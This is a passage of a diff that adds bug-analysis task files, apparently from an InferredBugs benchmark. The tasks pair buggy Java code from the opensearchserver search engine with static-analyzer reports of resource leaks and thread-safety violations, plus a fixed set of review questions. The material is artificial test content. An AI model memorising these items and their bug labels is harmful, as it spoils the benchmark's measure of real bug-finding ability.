+resource of type `java.io.FileInputStream` acquired by call to `FileInputStream(...)` at line 157 is not released after line 157.
+**Note**: potential exception at line 157
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+JsonParser JavaPropsFactory.createParser(File)
+
+### Procedure Id:
+com.fasterxml.jackson.dataformat.javaprop.JavaPropsFactory.createParser(java.io.File):com.fasterxml..67b12b197ce425f0c5e724ef2c8c26ad
+
+### File:
+properties/src/main/java/com/fasterxml/jackson/dataformat/javaprop/JavaPropsFactory.java
+
+### Key:
+JavaPropsFactory.java|createParser|RESOURCE_LEAK
+
+### Node Key:
+d28d76f517d5b9262c0862df78593ce1
+
+### Hash:
+b497811cb7cac6a689e4c4a8ef2dcbbc
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10476/instruction.md b/inferredbugs-10476/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7a7f6790e22061bf1242f36540a66fdbbd1787c6
--- /dev/null
+++ b/inferredbugs-10476/instruction.md
@@ -0,0 +1,196 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** opensearchserver
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**   
+ * License Agreement for Jaeksoft SearchLib Community
+ *
+ * Copyright (C) 2008-2009 Emmanuel Keller / Jaeksoft
+ * 
+ * http://www.jaeksoft.com
+ * 
+ * This file is part of Jaeksoft SearchLib Community.
+ *
+ * Jaeksoft SearchLib Community is free software: you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ *  (at your option) any later version.
+ *
+ * Jaeksoft SearchLib Community is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with Jaeksoft SearchLib Community. 
+ *  If not, see <http://www.gnu.org/licenses/>.
+ **/
+
+package com.jaeksoft.searchlib.web.controller.basket;
+
+import java.io.IOException;
+import java.net.URISyntaxException;
+import java.security.NoSuchAlgorithmException;
+
+import javax.xml.parsers.ParserConfigurationException;
+import javax.xml.xpath.XPathExpressionException;
+
+import org.xml.sax.SAXException;
+import org.zkoss.util.media.Media;
+import org.zkoss.zhtml.Messagebox;
+import org.zkoss.zk.ui.event.Event;
+import org.zkoss.zul.Fileupload;
+
+import com.jaeksoft.searchlib.SearchLibException;
+import com.jaeksoft.searchlib.basket.BasketDocument;
+import com.jaeksoft.searchlib.parser.Parser;
+import com.jaeksoft.searchlib.parser.ParserSelector;
+import com.jaeksoft.searchlib.util.FileUtils;
+import com.jaeksoft.searchlib.web.controller.CommonController;
+import com.jaeksoft.searchlib.web.controller.ScopeAttribute;
+
+public class UploadController extends CommonController {
+
+	/**
+	 * 
+	 */
+	private static final long serialVersionUID = -5038289778698152000L;
+
+	public UploadController() throws SearchLibException {
+		super();
+	}
+
+	public boolean isCurrentDocumentValid() {
+		return getCurrentDocument() != null;
+	}
+
+	public BasketDocument getCurrentDocument() {
+		return (BasketDocument) getAttribute(ScopeAttribute.BASKET_CURRENT_DOCUMENT);
+	}
+
+	public void setCurrentDocument(BasketDocument basketDocument) {
+		setAttribute(ScopeAttribute.BASKET_CURRENT_DOCUMENT, basketDocument);
+	}
+
+	public void onUpload() throws InterruptedException,
+			XPathExpressionException, NoSuchAlgorithmException,
+			ParserConfigurationException, SAXException, IOException,
+			URISyntaxException, SearchLibException, InstantiationException,
+			IllegalAccessException, ClassNotFoundException {
+		Media media = Fileupload.get();
+		if (media == null)
+			return;
+		setCurrentDocument(null);
+		ParserSelector parserSelector = getClient().getParserSelector();
+		Parser parser = null;
+		String contentType = media.getContentType();
+		if (contentType != null)
+			parser = parserSelector.getParserFromMimeType(contentType);
+		if (parser == null) {
+			String extension = FileUtils.getFileNameExtension(media.getName());
+			parser = parserSelector.getParserFromExtension(extension);
+		}
+		if (parser == null) {
+			Messagebox.show("No parser found for that document type ("
+					+ contentType + " - " + media.getName() + ')');
+			return;
+		}
+
+		BasketDocument basketDocument = parser.getBasketDocument();
+		setCurrentDocument(basketDocument);
+		basketDocument.addIfNoEmpty("filename", media.getName());
+		basketDocument.addIfNoEmpty("content_type", contentType);
+
+		synchronized (this) {
+			if (media.inMemory()) {
+				if (media.isBinary())
+					parser.parseContent(media.getByteData());
+				else
+					parser.parseContent(media.getStringData());
+			} else {
+				if (media.isBinary())
+					parser.parseContent(media.getStreamData());
+				else
+					parser.parseContent(media.getReaderData());
+			}
+			reloadPage();
+		}
+	}
+
+	public void onPaging(Event event) {
+		System.out.println(event);
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.jaeksoft.searchlib.web.controller.basket.UploadController.onUpload` indirectly writes to field `basketDocument.com.jaeksoft.searchlib.index.IndexDocument.fieldContentArray` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+Note that the prefix path basketDocument has been contaminated during the execution, so the reported race on basketDocument.com.jaeksoft.searchlib.index.IndexDocument.fieldContentArray might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void UploadController.onUpload()
+
+### Procedure Id:
+com.jaeksoft.searchlib.web.controller.basket.UploadController.onUpload():void.4aa6d7e5429923dd9b4613f3030106f5
+
+### File:
+src/java/com/jaeksoft/searchlib/web/controller/basket/UploadController.java
+
+### Key:
+UploadController.java|onUpload|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+2549f9a304f4084586805bcd9275f870
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10477/instruction.md b/inferredbugs-10477/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..450d498f31460a4941342377313fd64572bd1133
--- /dev/null
+++ b/inferredbugs-10477/instruction.md
@@ -0,0 +1,233 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** opensearchserver
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**   
+ * License Agreement for Jaeksoft SearchLib Community
+ *
+ * Copyright (C) 2008-2009 Emmanuel Keller / Jaeksoft
+ * 
+ * http://www.jaeksoft.com
+ * 
+ * This file is part of Jaeksoft SearchLib Community.
+ *
+ * Jaeksoft SearchLib Community is free software: you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ *  (at your option) any later version.
+ *
+ * Jaeksoft SearchLib Community is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with Jaeksoft SearchLib Community. 
+ *  If not, see <http://www.gnu.org/licenses/>.
+ **/
+
+package com.jaeksoft.searchlib.web.controller.query;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import org.zkoss.zk.ui.event.Event;
+import org.zkoss.zk.ui.event.EventListener;
+import org.zkoss.zul.Button;
+import org.zkoss.zul.Label;
+import org.zkoss.zul.Listbox;
+import org.zkoss.zul.Row;
+import org.zkoss.zul.RowRenderer;
+import org.zkoss.zul.api.Listitem;
+
+import com.jaeksoft.searchlib.SearchLibException;
+import com.jaeksoft.searchlib.schema.FieldList;
+import com.jaeksoft.searchlib.schema.SchemaField;
+import com.jaeksoft.searchlib.sort.SortField;
+
+public class SortedController extends QueryController implements RowRenderer {
+
+	/**
+	 * 
+	 */
+	private static final long serialVersionUID = -6525895947880411384L;
+
+	private String selectedSort = null;
+
+	private List<String> sortFieldLeft = null;
+
+	public SortedController() throws SearchLibException {
+		super();
+	}
+
+	public void setSelectedSort(String value) {
+		synchronized (this) {
+			selectedSort = value;
+		}
+	}
+
+	public String getSelectedSort() {
+		synchronized (this) {
+			return selectedSort;
+		}
+	}
+
+	public void onSortAdd() throws SearchLibException {
+		synchronized (this) {
+			if (selectedSort == null)
+				return;
+			getRequest().getSortList().add(new SortField(selectedSort, true));
+			reloadPage();
+		}
+	}
+
+	public void onSortRemove(Event event) throws SearchLibException {
+		synchronized (this) {
+			SortField sortField = (SortField) event.getData();
+			getRequest().getSortList().remove(sortField);
+			reloadPage();
+		}
+	}
+
+	public boolean isFieldLeft() throws SearchLibException {
+		synchronized (this) {
+			return getSortFieldLeft().size() > 0;
+		}
+	}
+
+	public List<String> getSortFieldLeft() throws SearchLibException {
+		synchronized (this) {
+			if (sortFieldLeft != null)
+				return sortFieldLeft;
+			sortFieldLeft = new ArrayList<String>();
+			FieldList<SortField> sortFields = getRequest().getSortList()
+					.getFieldList();
+			for (SchemaField field : getClient().getSchema().getFieldList())
+				if (field.isIndexed())
+					if (sortFields.get(field.getName()) == null) {
+						if (selectedSort == null)
+							selectedSort = field.getName();
+						sortFieldLeft.add(field.getName());
+					}
+			if (sortFields.get("score") == null) {
+				sortFieldLeft.add("score");
+				if (selectedSort == null)
+					selectedSort = "score";
+			}
+			return sortFieldLeft;
+		}
+	}
+
+	@Override
+	protected void reloadPage() {
+		selectedSort = null;
+		sortFieldLeft = null;
+		super.reloadPage();
+	}
+
+	public class DirectionListener implements EventListener {
+
+		protected SortField sortField;
+
+		public DirectionListener(SortField sortField) {
+			this.sortField = sortField;
+		}
+
+		@Override
+		public void onEvent(Event event) throws Exception {
+			Listbox listbox = (Listbox) event.getTarget();
+			Listitem listitem = listbox.getSelectedItem();
+			if (listitem != null)
+				sortField.setDesc(listitem.getValue().toString());
+		}
+
+	}
+
+	@Override
+	public void render(Row row, Object data) throws Exception {
+		SortField sortField = (SortField) data;
+		new Label(sortField.getName()).setParent(row);
+		Listbox listbox = new Listbox();
+		listbox.setMold("select");
+		listbox.appendItem("ascendant", "+");
+		listbox.appendItem("descendant", "-");
+		listbox.setSelectedIndex(sortField.isDesc() ? 1 : 0);
+		listbox.addEventListener("onSelect", new DirectionListener(sortField));
+		listbox.setParent(row);
+		Button button = new Button("Remove");
+		button.addForward(null, "query", "onSortRemove", sortField);
+		button.setParent(row);
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.jaeksoft.searchlib.web.controller.query.SortedController.reloadPage` writes to field `this.com.jaeksoft.searchlib.web.controller.query.SortedController.selectedSort` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SortedController.reloadPage()
+
+### Procedure Id:
+com.jaeksoft.searchlib.web.controller.query.SortedController.reloadPage():void.e658ef751a5f9f9d7161eedcaa9b0e07
+
+### File:
+src/java/com/jaeksoft/searchlib/web/controller/query/SortedController.java
+
+### Key:
+SortedController.java|reloadPage|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+3dee7484fe472c3769fec5c1a90abc4f
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10478/instruction.md b/inferredbugs-10478/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..433ecb144fed43c7faa38dde5aebf6b8e38751fe
--- /dev/null
+++ b/inferredbugs-10478/instruction.md
@@ -0,0 +1,663 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** opensearchserver
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**   
+ * License Agreement for Jaeksoft OpenSearchServer
+ *
+ * Copyright (C) 2008-2009 Emmanuel Keller / Jaeksoft
+ * 
+ * http://www.jaeksoft.com
+ * 
+ * This file is part of Jaeksoft OpenSearchServer.
+ *
+ * Jaeksoft OpenSearchServer is free software: you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ *  (at your option) any later version.
+ *
+ * Jaeksoft OpenSearchServer is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with Jaeksoft OpenSearchServer. 
+ *  If not, see <http://www.gnu.org/licenses/>.
+ **/
+
+package com.jaeksoft.searchlib.crawler.web.database;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.net.URISyntaxException;
+import java.security.NoSuchAlgorithmException;
+import java.text.DecimalFormat;
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Date;
+import java.util.Iterator;
+import java.util.List;
+
+import org.apache.lucene.index.CorruptIndexException;
+import org.apache.lucene.queryParser.ParseException;
+import org.apache.lucene.store.LockObtainFailedException;
+
+import com.jaeksoft.searchlib.Client;
+import com.jaeksoft.searchlib.SearchLibException;
+import com.jaeksoft.searchlib.crawler.web.database.InjectUrlItem.Status;
+import com.jaeksoft.searchlib.crawler.web.spider.Crawl;
+import com.jaeksoft.searchlib.facet.Facet;
+import com.jaeksoft.searchlib.facet.FacetField;
+import com.jaeksoft.searchlib.facet.FacetItem;
+import com.jaeksoft.searchlib.filter.Filter.Source;
+import com.jaeksoft.searchlib.function.expression.SyntaxError;
+import com.jaeksoft.searchlib.index.IndexDocument;
+import com.jaeksoft.searchlib.request.SearchRequest;
+import com.jaeksoft.searchlib.result.Result;
+import com.jaeksoft.searchlib.result.ResultDocument;
+
+public class UrlManager {
+
+	public enum Field {
+
+		URL("url"), WHEN("when"), CONTENTBASETYPE("contentBaseType"), CONTENTTYPECHARSET(
+				"contentTypeCharset"), CONTENTENCODING("contentEncoding"), CONTENTLENGTH(
+				"contentLength"), LANG("lang"), LANGMETHOD("langMethod"), ROBOTSTXTSTATUS(
+				"robotsTxtStatus"), FETCHSTATUS("fetchStatus"), RESPONSECODE(
+				"responseCode"), PARSERSTATUS("parserStatus"), INDEXSTATUS(
+				"indexStatus"), HOST("host");
+
+		private String name;
+
+		private Field(String name) {
+			this.name = name;
+		}
+
+		private void addFilterQuery(SearchRequest request, Object value)
+				throws ParseException {
+			StringBuffer sb = new StringBuffer();
+			addQuery(sb, value);
+			request.addFilter(sb.toString());
+		}
+
+		private void addFilterRange(SearchRequest request, Object from,
+				Object to) throws ParseException {
+			StringBuffer sb = new StringBuffer();
+			addQueryRange(sb, from, to);
+			request.addFilter(sb.toString());
+		}
+
+		private void addQuery(StringBuffer sb, Object value) {
+			sb.append(" ");
+			sb.append(name);
+			sb.append(":");
+			sb.append(value);
+		}
+
+		private void addQueryRange(StringBuffer sb, Object from, Object to) {
+			sb.append(" ");
+			sb.append(name);
+			sb.append(":[");
+			sb.append(from);
+			sb.append(" TO ");
+			sb.append(to);
+			sb.append("]");
+		}
+
+		@Override
+		public String toString() {
+			return name;
+		}
+
+	}
+
+	private Client client;
+
+	public UrlManager(File dataDir) throws SearchLibException,
+			URISyntaxException, FileNotFoundException {
+		dataDir = new File(dataDir, "web_crawler_url");
+		if (!dataDir.exists())
+			dataDir.mkdir();
+		this.client = new Client(dataDir, "/url_config.xml", true);
+	}
+
+	public Client getClient() {
+		return client;
+	}
+
+	public void injectPrefix(List<PatternItem> patternList)
+			throws SearchLibException {
+		Iterator<PatternItem> it = patternList.iterator();
+		List<InjectUrlItem> urlList = new ArrayList<InjectUrlItem>();
+		while (it.hasNext()) {
+			PatternItem item = it.next();
+			if (item.getStatus() == PatternItem.Status.INJECTED)
+				urlList.add(new InjectUrlItem(item));
+		}
+		inject(urlList);
+	}
+
+	public void deleteUrl(String sUrl) throws SearchLibException {
+		try {
+			client.deleteDocument(sUrl);
+		} catch (CorruptIndexException e) {
+			throw new SearchLibException(e);
+		} catch (LockObtainFailedException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public void deleteUrls(Collection<String> workDeleteUrlList)
+			throws SearchLibException {
+		try {
+			client.deleteDocuments(workDeleteUrlList);
+		} catch (CorruptIndexException e) {
+			throw new SearchLibException(e);
+		} catch (LockObtainFailedException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public boolean exists(String sUrl) throws SearchLibException {
+		SearchRequest request = getUrlSearchRequest();
+		request.setQueryString("url:\"" + sUrl + '"');
+		return (getUrls(request, null, false, 0, 0, null) > 0);
+	}
+
+	public void inject(List<InjectUrlItem> list) throws SearchLibException {
+		synchronized (this) {
+			try {
+				List<IndexDocument> injectList = new ArrayList<IndexDocument>();
+				for (InjectUrlItem item : list) {
+					if (exists(item.getUrl()))
+						item.setStatus(InjectUrlItem.Status.ALREADY);
+					else
+						injectList.add(item.getIndexDocument());
+				}
+				if (injectList.size() == 0)
+					return;
+				client.updateDocuments(injectList);
+				int injected = 0;
+				for (InjectUrlItem item : list) {
+					if (item.getStatus() == Status.UNDEFINED) {
+						item.setStatus(Status.INJECTED);
+						injected++;
+					}
+				}
+				if (injected > 0)
+					client.reload(null);
+			} catch (NoSuchAlgorithmException e) {
+				throw new SearchLibException(e);
+			} catch (IOException e) {
+				throw new SearchLibException(e);
+			} catch (URISyntaxException e) {
+				throw new SearchLibException(e);
+			} catch (InstantiationException e) {
+				throw new SearchLibException(e);
+			} catch (IllegalAccessException e) {
+				throw new SearchLibException(e);
+			} catch (ClassNotFoundException e) {
+				throw new SearchLibException(e);
+			}
+		}
+	}
+
+	private void filterQueryToFetchOld(SearchRequest request,
+			Date fetchIntervalDate) throws ParseException {
+		StringBuffer query = new StringBuffer();
+		query.append("when:[00000000000000 TO ");
+		query.append(UrlItem.getWhenDateFormat().format(fetchIntervalDate));
+		query.append("]");
+		request.addFilter(query.toString());
+	}
+
+	private void filterQueryToFetchNew(SearchRequest request)
+			throws ParseException {
+		StringBuffer query = new StringBuffer();
+		query.append("fetchStatus:");
+		query.append(FetchStatus.UN_FETCHED.value);
+		request.addFilter(query.toString());
+	}
+
+	public Date getPastDate(int fetchInterval) {
+		return new Date(System.currentTimeMillis() - (long) fetchInterval
+				* 1000 * 86400);
+	}
+
+	private void getFacetLimit(Field field, SearchRequest searchRequest,
+			int limit, List<NamedItem> list) throws IOException,
+			ParseException, SyntaxError, URISyntaxException,
+			ClassNotFoundException, InterruptedException, SearchLibException,
+			InstantiationException, IllegalAccessException {
+		Result result = client.search(searchRequest);
+		Facet facet = result.getFacetList().getByField(field.name);
+		for (FacetItem facetItem : facet) {
+			if (limit-- == 0)
+				break;
+			if (facetItem.getCount() == 0)
+				continue;
+			String term = facetItem.getTerm();
+			if (term == null)
+				continue;
+			if (term.length() == 0)
+				continue;
+			synchronized (list) {
+				list.add(new NamedItem(term, facetItem.getCount()));
+			}
+		}
+
+	}
+
+	private SearchRequest getHostFacetSearchRequest() {
+		SearchRequest searchRequest = client.getNewSearchRequest();
+		searchRequest.setDefaultOperator("OR");
+		searchRequest.setRows(0);
+		searchRequest.getFacetFieldList().add(new FacetField("host", 1, false));
+		return searchRequest;
+	}
+
+	private SearchRequest getUrlSearchRequest() throws SearchLibException {
+		SearchRequest searchRequest = client.getNewSearchRequest();
+		searchRequest.setDefaultOperator("OR");
+		searchRequest.setRows(0);
+		searchRequest.addReturnField("url");
+		searchRequest.addReturnField("host");
+		searchRequest.addReturnField("contentBaseType");
+		searchRequest.addReturnField("contentTypeCharset");
+		searchRequest.addReturnField("contentEncoding");
+		searchRequest.addReturnField("contentLength");
+		searchRequest.addReturnField("lang");
+		searchRequest.addReturnField("langMethod");
+		searchRequest.addReturnField("when");
+		searchRequest.addReturnField("responseCode");
+		searchRequest.addReturnField("robotsTxtStatus");
+		searchRequest.addReturnField("parserStatus");
+		searchRequest.addReturnField("fetchStatus");
+		searchRequest.addReturnField("indexStatus");
+		return searchRequest;
+	}
+
+	public void getOldHostToFetch(Date fetchIntervalDate, int limit,
+			List<NamedItem> hostList) throws SearchLibException,
+			ParseException, IOException, SyntaxError, URISyntaxException,
+			ClassNotFoundException, InterruptedException,
+			InstantiationException, IllegalAccessException {
+		SearchRequest searchRequest = getHostFacetSearchRequest();
+		searchRequest.setQueryString("*:*");
+		filterQueryToFetchOld(searchRequest, fetchIntervalDate);
+		getFacetLimit(Field.HOST, searchRequest, limit, hostList);
+	}
+
+	public void getNewHostToFetch(int limit, List<NamedItem> hostList)
+			throws SearchLibException, ParseException, IOException,
+			SyntaxError, URISyntaxException, ClassNotFoundException,
+			InterruptedException, InstantiationException,
+			IllegalAccessException {
+		SearchRequest searchRequest = getHostFacetSearchRequest();
+		searchRequest.setQueryString("*:*");
+		filterQueryToFetchNew(searchRequest);
+		getFacetLimit(Field.HOST, searchRequest, limit, hostList);
+	}
+
+	public void getStartingWith(String queryString, Field field, String start,
+			int limit, List<NamedItem> list) throws ParseException,
+			IOException, SyntaxError, URISyntaxException,
+			ClassNotFoundException, InterruptedException, SearchLibException,
+			InstantiationException, IllegalAccessException {
+		SearchRequest searchRequest = client.getNewSearchRequest(field
+				+ "Facet");
+		searchRequest.setQueryString(queryString);
+		searchRequest.getFilterList().add(field + ":" + start + "*",
+				Source.REQUEST);
+		getFacetLimit(field, searchRequest, limit, list);
+	}
+
+	public void getOldUrlToFetch(NamedItem host, Date fetchIntervalDate,
+			long limit, List<UrlItem> urlList) throws SearchLibException,
+			ParseException, IOException, SyntaxError, URISyntaxException,
+			ClassNotFoundException, InterruptedException,
+			InstantiationException, IllegalAccessException {
+		SearchRequest searchRequest = client.getNewSearchRequest("urlSearch");
+		searchRequest.addFilter("host:\""
+				+ SearchRequest.escapeQuery(host.getName()) + "\"");
+		searchRequest.setQueryString("*:*");
+		filterQueryToFetchOld(searchRequest, fetchIntervalDate);
+		searchRequest.setRows((int) limit);
+		Result result = client.search(searchRequest);
+		for (ResultDocument item : result)
+			urlList.add(new UrlItem(item));
+	}
+
+	public void getNewUrlToFetch(NamedItem host, long limit,
+			List<UrlItem> urlList) throws SearchLibException, ParseException,
+			IOException, SyntaxError, URISyntaxException,
+			ClassNotFoundException, InterruptedException,
+			InstantiationException, IllegalAccessException {
+		SearchRequest searchRequest = client.getNewSearchRequest("urlSearch");
+		searchRequest.addFilter("host:\""
+				+ SearchRequest.escapeQuery(host.getName()) + "\"");
+		searchRequest.setQueryString("*:*");
+		filterQueryToFetchNew(searchRequest);
+		searchRequest.setRows((int) limit);
+		Result result = client.search(searchRequest);
+		for (ResultDocument item : result)
+			urlList.add(new UrlItem(item));
+	}
+
+	public SearchRequest urlQuery(String like, String host, String lang,
+			String langMethod, String contentBaseType,
+			String contentTypeCharset, String contentEncoding,
+			Integer minContentLength, Integer maxContentLength,
+			RobotsTxtStatus robotsTxtStatus, FetchStatus fetchStatus,
+			Integer responseCode, ParserStatus parserStatus,
+			IndexStatus indexStatus, Date startDate, Date endDate)
+			throws SearchLibException {
+		try {
+			SearchRequest searchRequest = client
+					.getNewSearchRequest("urlSearch");
+			StringBuffer query = new StringBuffer();
+			if (like != null) {
+				like = like.trim();
+				if (like.length() > 0) {
+					Field.URL.addQuery(query, SearchRequest.escapeQuery(like));
+					query.append("*");
+				}
+			}
+			if (host != null) {
+				host = host.trim();
+				if (host.length() > 0)
+					Field.HOST.addFilterQuery(searchRequest, SearchRequest
+							.escapeQuery(host));
+			}
+			if (lang != null) {
+				lang = lang.trim();
+				if (lang.length() > 0)
+					Field.LANG.addFilterQuery(searchRequest, SearchRequest
+							.escapeQuery(lang));
+			}
+			if (langMethod != null) {
+				langMethod = langMethod.trim();
+				if (langMethod.length() > 0)
+					Field.LANGMETHOD.addFilterQuery(searchRequest,
+							SearchRequest.escapeQuery(langMethod));
+			}
+			if (contentBaseType != null) {
+				contentBaseType = contentBaseType.trim();
+				if (contentBaseType.length() > 0)
+					Field.CONTENTBASETYPE.addFilterQuery(searchRequest,
+							SearchRequest.escapeQuery(contentBaseType));
+			}
+			if (contentTypeCharset != null) {
+				contentTypeCharset = contentTypeCharset.trim();
+				if (contentTypeCharset.length() > 0)
+					Field.CONTENTTYPECHARSET.addFilterQuery(searchRequest,
+							SearchRequest.escapeQuery(contentTypeCharset));
+			}
+			if (contentEncoding != null) {
+				contentEncoding = contentEncoding.trim();
+				if (contentEncoding.length() > 0)
+					Field.CONTENTENCODING.addFilterQuery(searchRequest,
+							SearchRequest.escapeQuery(contentEncoding));
+			}
+
+			if (robotsTxtStatus != null
+					&& robotsTxtStatus != RobotsTxtStatus.ALL)
+				Field.ROBOTSTXTSTATUS.addFilterQuery(searchRequest,
+						robotsTxtStatus.value);
+			if (responseCode != null)
+				Field.RESPONSECODE.addFilterQuery(searchRequest, responseCode);
+			if (fetchStatus != null && fetchStatus != FetchStatus.ALL)
+				Field.FETCHSTATUS.addFilterQuery(searchRequest,
+						fetchStatus.value);
+			if (parserStatus != null && parserStatus != ParserStatus.ALL)
+				Field.PARSERSTATUS.addFilterQuery(searchRequest,
+						parserStatus.value);
+			if (indexStatus != null && indexStatus != IndexStatus.ALL)
+				Field.INDEXSTATUS.addFilterQuery(searchRequest,
+						indexStatus.value);
+
+			if (minContentLength != null || maxContentLength != null) {
+				String from, to;
+				DecimalFormat df = UrlItem.getContentLengthFormat();
+				if (minContentLength == null)
+					from = df.format(0);
+				else
+					from = df.format(minContentLength);
+				if (maxContentLength == null)
+					to = df.format(Integer.MAX_VALUE);
+				else
+					to = df.format(maxContentLength);
+				Field.CONTENTLENGTH.addQueryRange(query, from, to);
+			}
+
+			if (startDate != null || endDate != null) {
+				String from, to;
+				SimpleDateFormat df = UrlItem.getWhenDateFormat();
+				if (startDate == null)
+					from = "00000000000000";
+				else
+					from = df.format(startDate);
+				if (endDate == null)
+					to = "99999999999999";
+				else
+					to = df.format(endDate);
+				Field.WHEN.addFilterRange(searchRequest, from, to);
+			}
+
+			if (query.length() == 0)
+				query.append("*:*");
+			searchRequest.setQueryString(query.toString().trim());
+			return searchRequest;
+		} catch (ParseException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public long getUrls(SearchRequest searchRequest, Field orderBy,
+			boolean orderAsc, long start, long rows, List<UrlItem> list)
+			throws SearchLibException {
+		searchRequest.setStart((int) start);
+		searchRequest.setRows((int) rows);
+		try {
+			if (orderBy != null)
+				searchRequest.addSort(orderBy.name, !orderAsc);
+			Result result = client.search(searchRequest);
+			if (list != null)
+				for (ResultDocument doc : result)
+					list.add(new UrlItem(doc));
+			return result.getNumFound();
+		} catch (ParseException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (RuntimeException e) {
+			throw new SearchLibException(e);
+		} catch (SyntaxError e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		} catch (InterruptedException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
